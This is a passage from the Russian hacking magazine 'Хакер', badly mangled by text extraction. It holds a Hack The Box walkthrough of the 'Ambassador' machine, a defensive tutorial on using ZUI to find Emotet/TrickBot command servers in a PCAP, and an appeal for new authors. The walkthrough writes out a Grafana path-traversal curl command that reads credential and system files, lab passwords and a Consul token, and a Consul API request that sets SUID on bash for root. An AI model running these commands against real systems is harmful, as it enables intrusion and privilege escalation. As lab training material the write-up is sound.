заг лянуть на GitHub. Так, по зап росу «grafana v8.2.0 (d7f71e9eae) exploit» мы
сра зу узна ем, что в этой вер сии есть уяз вимость с иден тифика тором CVE.

HackerOne exploit-db

По иск экс пло итов с помощью Google

Уяз вимость зак люча ется в том, что воз можен обход катало гов и как резуль -
тат — дос туп к про изволь ным локаль ным фай лам. При чина появ ления этой
уяз вимос ти — неп равиль но реали зован ная фун кция под клю чения модулей.

Даль нейший поиск на GitHub при водит нас к , которо му
в качес тве парамет ра нуж но передать толь ко URL сис темы монито рин га.

ра боче му экс пло иту

Справ ка по экс пло иту

В качес тве тес та про буем про читать файл ./etc/passwd

Со дер жимое фай ла /etc/passwd

Сре ди поль зовате лей обна ружим отме чен ного ранее поль зовате ля .developer

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом сра зу попыта емся про читать при ват ный SSH-ключ 

.

/home/
developer/.ssh/id_rsa

Чте ние фай ла id_rsa

Та кого фай ла не сущес тву ет, поэто му нуж но поис кать дру гие вари анты. К при -
меру, файл кон фигура ций Grafana , который дол -

жен содер жать учет ные дан ные адми нис тра тора.

/etc/grafana/grafana.ini

Со дер жимое фай ла grafana.ini

С получен ными учет ными дан ными мы лег ко авто ризу емся через
веб-интерфейс.

Па нель адми нис тра тора Grafana

ÏÐÎÄÂÈÆÅÍÈÅ

Прод вига ясь даль ше, получим файл базы дан ных .grafana

curl --path-as-is http://ambassador.htb:3000/public/plugins/
alertlist/../../../../../../../../var/lib/grafana/grafana.db -o 
grafana.db

Я прос матри ваю такие фай лы в . Там находим таб лицу

, из стол бца  которой получа ем пароль для под клю чения
к базе дан ных .

DB Browser

data_source password
grafana

Дан ные в фай ле grafana.db

Раз деление дос тупа к раз ным базам дан ных в СУБД может быть не нас тро ено,
и мож но будет получить дан ные из дру гих баз, а не толь ко из . Под -

клю чаем ся и прос матри ваем сущес тву ющие базы дан ных.

grafana

mysql -h ambassador.htb -u grafana -p'dontStandSoCloseToMe63221!'
show databases;

Ба зы дан ных

Ви дим базу дан ных , которая не явля ется слу жеб ной. Выбира ем

ее для работы и получа ем спи сок таб лиц.

whackywidget

 use whackywidget;
 show tables;

Таб лицы в базе дан ных whackywidget

Таб лица здесь все го одна, при чем очень инте рес ная. Зап росим ее содер -
жимое.

   select * from users;

Со дер жимое таб лицы users

По луча ем закоди рован ный в Base64 пароль локаль ного поль зовате ля
.developer

 |  echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== base64 -d

Де коди рова ние пароля из базы

С получен ным паролем авто ризу емся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

По лучив дос туп к хос ту, мы пер вым делом дол жны соб рать информа цию. Я,
как обыч но, вос поль зуюсь набором скрип тов .PEASS

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

Заг рузим скрипт для Linux на уда лен ный хост, дадим пра во на выпол нение
и запус тим. Теперь сле дует отоб рать важ ную информа цию, которую под све тит
скрипт.

Во-пер вых, в катало ге  есть два про екта, один из которых называ ется

.

/opt
consul

Со дер жимое катало га consul

На хос те для локаль ного адре са открыт порт 8500, что типич но для Consul.

Спи сок откры тых пор тов

 — это опен сор сный инс тру мент, который облегча ет раз -
работ чикам орга низа цию вза имо дей ствия меж ду сер висами, управле ние кон -
фигура цией и сег мента цию сети. Consul уме ет находить сер висы и про верять
их работос пособ ность, балан сировать наг рузку и показы вать наг лядные гра -
фики. Так же у него есть воз можность хра нить клю чи авто риза ции.

HashiCorp Consul

Нам нуж но най ти, где в сис теме исполь зует ся Consul. Для это го ана лизи -
руем обна ружен ный про ект в катало ге ./opt/

Со дер жимое катало га /opt

Это репози торий Git, поэто му мы можем пос мотреть исто рию изме нений,
выпол нив коман ду  внут ри катало га.git show

Ис тория изме нений кода в про екте

И наконец, находим коман ду , которая при меня ется для экспор та
пароля MySQL. Здесь нуж но обра тить вни мание на то, что мы наш ли токен
и теперь смо жем работать с Consul API. Опи раясь на 

, мы можем получить выпол нение кода с помощью Consul API в кон тек -
сте работы служ бы. А так как Consul работа ет от име ни рута, это повыше ние
при виле гий в сис теме.

consul

пуб ликацию в бло ге
Wallarm

Для экс плу ата ции нам нуж но исполь зовать API 
со сле дующи ми парамет рами.

/agent/check/register

{
   "ID": "ralf",
   "Name": "ralf",
   "Address": "127.0.0.1",
   "Port": 80,
   "check": {
       "Args": ["/bin/bash", "/tmp/lpe.sh"],
       "interval": "10s",
       "timeout": "1s"
   }

}

Та ким обра зом мы запус тим скрипт  в Bash. Внут ри скрип та прос -

то прис воим S-бит фай лу коман дной обо лоч ки: .

Выпол няем зап рос к API с помощью :

/tmp/lpe.sh
chmod u+s /usr/bin/bash

curl

curl  
  PUT  

--header "X-Consul-Token: 
bb03b43b-1a81-d62b-24b5-39540ee469b5" --request -d '{"ID": 
"ralf", "Name": "ralf", "Address": "127.0.0.1", "Port": 80, 
"check": {"Args": ["/bin/bash", "/tmp/lpe.sh"], "interval": 
"10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/
register

За тем про верим файл  и уви дим пос тавлен ный нами S-бит./bin/bash

Пра ва фай ла /bin/bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные сис -
темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

За пус тив , мы получим при виле гиро ван ный шелл./bin/bash -p

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.hackerone.com/
https://www.exploit-db.com/
https://www.exploit-db.com/exploits/50581
https://sqlitebrowser.org/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/hashicorp/consul
https://lab.wallarm.com/consul-by-hashicorp-from-infoleak-to-rce/
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АДМИН

Для ана лиза сетево го тра фика чаще все го
выбира ют Wireshark. Тут тебе и филь тры,
и хороший интерфейс, и докумен тация,
и под робней ший вывод о каж дом пакете.
Но у это го инс тру мен та есть недос татки,
глав ный из которых — мед литель ность
при ана лизе боль ших дам пов. Я рас ска жу
об опен сор сном при ложе нии ZUI, которое
может стать надеж ным помощ ником в ана -
лизе тра фика.

Zed User Interface (ранее Brim), пер вая вер сия которо го ста ла дос тупна комь -
юни ти ИБ в 2018 году, раз работан с помощью Electron и React. Внут ри же
исполь зует ся дви жок ZED, а он, в свою оче редь, написан на Go и сос тоит
из нес коль ких эле мен тов:

Zed data model — общее наз вание для лежащих в осно ве про екта типов
дан ных и семан тики;

•

Zed lake — кол лекция выбороч но индекси рован ных дан ных Zed;•
Zed language — язык для выпол нения зап росов, поис ка, ана лити ки;•
Zed shaper — модуль, который при водит вход ные дан ные к фор мату Zed
data model;

•

Zed formats — семей ство пос ледова тель ных (ZNG), стол бцо вых (ZST)
и челове кочи таемых (ZSON) фор матов;

•

Zed query — скрипт, который выпол няет поиск и ана лити ку;•
Zeek и Suricata — сиг натур ные сис темы (intrusion detection systems).•

Глав ные отли чия ZUI от Wireshark — это ско рость работы, под дер жка сиг натур
и ана лиза логов. Из минусов мож но отме тить невоз можность декоди ровать
пакеты и экспор тировать най ден ные в тра фике фай лы.

INFO

Все это мож но не счи тать реаль ными минуса ми,
потому что любой най ден ный поток дан ных в ZUI
откры вает ся одним нажати ем кноп ки в Wireshark,
где отоб ража ется вся недос тающая информа -
ция.

ÑÊÎÐÎÑÒÜ

Из началь но ZUI называл ся Brim и спе циали зиро вал ся исклю читель но на ана -
лизе сетево го тра фика и логов. Но из-за уни вер саль нос ти движ ка ZED он начал
раз вивать ся и в дру гих нап равле ниях, а имен но в сто рону ана лити ки дан ных.

Идея движ ка ZED, который поз воля ет ZUI обра баты вать фай лы PCAP нам -
ного быс трее Wireshark, сос тоит в том, что бы изба вить ся от кон цепции таб лиц
из базовой модели дан ных. Их замени ли сов ремен ной сис темой типов,
при которой каж дое зна чение может иметь свой тип незави симо от сос тавной
схе мы, как это сей час реали зова но в ста рых моделях. Получа ется, ZED — и не
полус трук туриро ван ный, и не таб личный. Соз датели называ ют такую кон -
цепцию суперс трук туриро ван ной.

INFO

Ос нователь ком пании Brim, раз работ чика ZUI, —
это не кто иной, как Стив Мак кейн, соз датель
фор мата PCAP, BPF и соав тор tcpdump.

Для при мера мож но при вес ти фор мат из Zed data model под наз вани ем ZSON.
Это при выч ный нам JSON с собс твен ными типами зна чений.

Этих зна ний нам хва тит, что бы исполь зовать ZUI в его самом инте рес ном
для нас вари анте при мене ния — ана лизе тра фика.

Схе ма работы

ÓÑÒÀÍÎÂÊÀ

Linux

Для уста нов ки ZUI в Linux исполь зуй сле дующие коман ды:

wget "https://github.com/brimdata/brim/releases/download/v0.31.0/
Brim-0.31.0.deb"

 apt sudo chmod +x ./Brim-0.31.0.deb; install ./Brim-0.31.0.deb

Обя затель но поменяй вер сию при ложе ния в коман де, что бы поль зовать ся
самым новым релизом.

Windows è macOS

Для них суть та же: дос таточ но ска чать с  при ложе ния уста -
нов щик и запус тить его.

офи циаль ного сай та

ÈÍÒÅÐÔÅÉÑ

Сна чала полюбу емся минима лис тичным UI и уви дим, нас коль ко он хорошо
орга низо ван. На вход прог раммы мож но подавать JSON, CSV, ZSON, ZNG
и фай лы дру гих фор матов, но нам инте рес нее все го скор мить ZUI файл PCAP
или струк туриро ван ный лог, нап ример Zeek log.

Глав ная стра ница ути литы

Как толь ко ты откро ешь файл PCAP в ZUI, он тут же прой дет ся по нему движ -
ками Zeek и Suricata, пос ле чего отоб разит все наход ки, а так же под тянет
ссыл ки на най ден ные хеши с VirusTotal. Ну что ска зать, кру то!

Pool — это мес то, где хра нит ся пре обра зован ный PCAP. Ты можешь заг -
ружать сра зу нес коль ко фай лов в один pool, и все дан ные из них будут дос -
тупны в одной стро ке поис ка. На тай млай не мож но выб рать диапа зон вре мени,
который сей час тре бует ся изу чить. В деталях мож но пос мотреть самую цен ную
информа цию, эта кие поля кор реляции.

Мне показа лась осо бен но инте рес ной фича с неболь шой диаг рам мкой вза -
имо дей ствия двух хос тов. Она отоб ража ется, если открыть лог с зеленым
тегом conn. Так же весь ма полез на кноп ка откры тия потока дан ных в Wireshark,
но о ней уже было ска зано выше.

Не боль шая диаг рамма вза имо дей ствия хос тов

ÏÐÈÌÅÍßÅÌ ZUI ÍÀ ÏÐÀÊÒÈÊÅ È ÏÈØÅÌ ÇÀÏÐÎÑÛ

На чать сто ит с того, что писать зап росы с помощью ZQL query сов сем не труд -
но. Дос таточ но прос то най ти в логах нуж ные поля и отфиль тро вать по ним логи.
Стро ка зап роса будет обрастать новыми и новыми усло виями поис ка. Лич но я
пос тоян но забываю, как находить ту или иную информа цию с помощью филь -
тров Wireshark.

Соз дание филь тру юще го пра вила с помощью выбора полей

Я под готовил для тебя при меры зап росов поис ка, которые пок роют основные
юзкей сы при работе с ZUI.

Ко личес тво каж дой катего рии тегов:

count() by _path | sort -r

Все уни каль ные DNS queries:

_path=="dns" | count() by query | sort -r

SMB- и RPC-тра фик в сис темах Windows:

_path matches smb* OR _path=="dce_rpc"

HTTP-зап росы и филь тра ция самых полез ных колонок:

_path=="http" | cut id.orig_h, id.resp_h, id.resp_p, method, host,
uri | uniq -c

Уни каль ные кон некты и их количес тво:

_path=="conn" | cut id.orig_h, id.resp_p, id.resp_h | sort | uniq

Ко личес тво передан ных бай тов на один кон нект:

_path=="conn" | put total_bytes := orig_bytes + resp_bytes | sort 
-r total_bytes | cut uid, id, orig_bytes, resp_bytes, total_bytes

По иск переда ваемых фай лов:

filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_
type, filename, md5, sha1

Все зап росы HTTP Post:

method=="POST" | cut ts, uid, id, method, uri, status_code

Все IP-под сети:

_path=="conn" | put classnet := network_of(id.resp_h) | cut 
classnet | count() by classnet | sort -r

Ну и в завер шение парада самые, на мой взгляд, клас сные.
Де монс тра ция всех сра баты ваний сиг натур Suricata и их количес тво:

event_type=="alert" | count() by alert.severity,alert.category | 
sort count

Де монс тра ция всех сра баты ваний сиг натур Suricata, отфиль тро ван ных
по Source IP и Destination IP:

event_type=="alert" | alerts := union(alert.category) by src_ip, 
dest_ip

ÑÏÈÄÐÀÍ ÏÎ ÏÎÈÑÊÓ EMOTET C2

Впер вые Emotet обна ружи ли в 2014 году, и тог да иссле дова тели безопас ности
клас сифици рова ли его как бан ков ский тро ян. Emotet в свое вре мя выз вал
целую эпи демию и успел серь езно нав редить мно гим поль зовате лям. Одна ко
поз же этот трой мутиро вал в дроп пер и начал про давать ся в дар кне те по прин -
ципу  (Cybercrime as a Service). Новой фун кци ей мал вари ста ла заг рузка
дру гого вре донос ного ПО в сис тему жер твы.

CaaS

Од ним из рас простра няемых Emotet’ом вре доно сов был бан ков ский тро ян
TrickBot. Эту связ ку мы сей час и най дем с помощью ZUI.

WWW

Для ана лиза нам понадо бит ся 
.

вот этот файл
PCAP

Íà÷èíàåì

Най дем все вхож дения DNS в фай ле PCAP. Для это го исполь зуем один
из ранее при веден ных зап росов.

_path=="dns" | count() by query | sort -r

По иск всех вхож дений DNS

Боль ше все го выделя ются два адре са: 

и . Пер вый отно сит ся к плат форме threat-intelligence под наз вани -
ем Spamhaus. А вот вто рой нам сто ит про верить на VirusTotal. Для это го
вызовем кон текс тное меню и выберем VirusTotal Lookup.

112.146.166.173.zen.spamhaus.org
t-privat.de

VirusTotal в меню

VirusTotal про водит про вер ку и сооб щает нам, что домен вре донос ный и ранее
исполь зовал ся для хос тинга мал вари.

Ре зуль таты про вер ки на VirusTotal

Най дем запись типа A и исполь зуем более ста рую дату резол ва, которая бли же
к дате пуб ликации PCAP. Это будет адрес . Поп робу ем най ти

сов падения в нашем фай ле PCAP.

81.169.145.161

Мы обна ружи ваем адрес, и наше вни мание прив лека ет то, что с него
переда ется файл во внут реннюю сеть. Это очень подоз ритель но, надо иссле -
довать даль ше.

Охо та на адрес

От кро ем вклад ку с этим кон нектом и дос танем отту да MD5-хеш
. Теперь нам надо про верить его на вре -

донос ность.

997d6f2e3879bb725fb4747b0046bb50

Файл на VirusTotal

Что ж, сом нения отпа ли, хост  — это наш пер вый заражен ный.10.9.1.101

Ñ2 ïîä ïðèöåëîì

На до най ти все переда ваемые фай лы, которые содер жатся в этом дам пе.
Для это го исполь зуем такую стро ку поис ка:

filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_
type, filename, md5, sha1

И что же мы видим? Еще один IP-адрес. Закиды ваем его на VirusTotal и убеж -
даем ся, что он вре донос ный.

Но вый подоз ритель ный адрес

Что бы удос товерить ся, что это управля ющий сер вер, про верим осталь ные кон -
некты на этот адрес. Сра зу ста новит ся оче вид но: име ют мес то «маяч ковые
отсту кива ния».

Но вый подоз ритель ный адрес

Ìàñøòàá çàðàæåíèÿ

От сорти руем тра фик по тегам, что бы пред став лять самые час тые типы вза -
имо дей ствия меж ду хос тами.

_path | count() by _path | sort -r

Об щая кар тина по тра фику

Хм, мож но ска зать, что ничего ука зыва юще го на даль нейшее рас простра нение
мал вари здесь нет. В таких рас сле дова ниях обыч но рас счи тыва ешь уви деть
активность SMB and DCE/RPC.

Для уве рен ности, что зараже ние не пош ло даль ше, мож но пос мотреть кон -
некты, которые совер шал пер вый (и, наде емся, пос ледний) инфи циро ван ный
хост.

Мас штаб ного зараже ния нет

Нам инте рес ны кон некты толь ко из той же под сети. Ничего подоз ритель ного
не наб люда ется.

Èòîãè ñïèäðàíà

Мы наш ли нес коль ко IOC, пер вый заражен ный хост, С2-сер вер, а так же выяс -
нили, что даль ше хос та  зараже ние не пош ло.10.9.1.101

ÂÛÂÎÄÛ

Сколь ко вре мени было пот рачено на ожи дание, пока Wireshark отоб разит (если
вооб ще отоб разит) спи сок вхож дений пос ле филь тра ции при ана лизе боль -
шого фай ла PCAP... Для мно гих это ста нови лось нас тоящим испы тани ем.
Но теперь ты зна ешь про сущес тво вание ZUI, который замет но упростит твою
работу.

ZUI, к сожале нию, не может стать пол ноцен ной заменой Wireshark, он ско -
рее прев раща ет уто митель ный про цесс в про дук тивную работу и бережет нер -
вы. Но в качес тве помощ ника в ана лизе тра фика он прос то незаме ним.

mailto:tofolt@icloud.com
https://www.brimdata.io/download/
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https://www.malware-traffic-analysis.net/2020/09/02/2020-09-01-Emotet-epoch-3-infection-with-Trickbot-gtag-mor119.pcap.zip


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
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